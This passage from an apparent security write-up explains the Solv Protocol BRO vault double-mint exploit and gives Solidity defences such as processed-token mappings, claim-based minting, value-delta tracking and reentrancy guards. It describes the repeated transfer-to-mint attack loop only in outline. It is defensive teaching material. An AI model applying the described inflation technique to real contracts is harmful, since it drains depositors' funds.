transfer → mint
transfer → mint
transfer → mint

Eventually, this inflates the supply of wrapped tokens and allows the attacker to drain assets from the vault.

Why Double-Mint Bugs Are Dangerous

DeFi protocols rely on strict collateral accounting.
A basic invariant should always hold:
Total Minted Tokens ≤ Total Collateral Deposited

With a double-mint vulnerability, this rule breaks:
Total Minted Tokens > Actual Collateral

Once this happens, attackers can withdraw more assets than they deposited.
How Developers Can Prevent This
Track Processed Assets

Always ensure a token can only be processed once.
Example:
mapping(uint256 => bool) public processedSFT;

require(!processedSFT[sftId_], "SFT already processed");

processedSFT[sftId_] = true;

This prevents double minting from the same collateral.
2. Avoid Minting in Callback Functions

Callbacks should only validate transfers.
Bad design:
transfer → automatic mint

Better design:
transfer → record deposit
user calls claim() → mint tokens

Separating these steps makes logic easier to verify.
3. Track Value Deltas
Instead of reading raw balances:
balanceOf(sftId)

Track how much value actually changed:
delta = newBalance - previousBalance

Mint tokens based only on new value deposited.
4. Use Reentrancy Protection
Adding protection helps defend against complex execution flows.
Example:
function onERC721Received(...) external nonReentrant

Key Takeaways for Smart Contract Developers

The Solv Protocol exploit highlights several common DeFi security pitfalls.
Avoid implicit financial operations
Critical actions like minting should require explicit user interaction.
Track every collateral asset
Assets must never be counted more than once.
Keep accounting logic simple
Complex token transfers increase the chance of accounting errors.
Enforce invariants
Protocols should constantly ensure:
mintedSupply ≤ collateralValue

If this rule breaks, the system becomes vulnerable to inflation attacks.

Conclusion

The Solv Protocol BRO vault exploit is a reminder that smart contract security often comes down to careful state management and correct accounting.
A missing validation check allowed the same collateral to be processed multiple times, leading to token inflation and fund loss.
For developers building DeFi protocols, the key lesson is simple:
Always assume that every external interaction — including token transfers — can be manipulated by attackers.
Design contracts so that each deposit is processed exactly once and every mint is fully backed by collateral.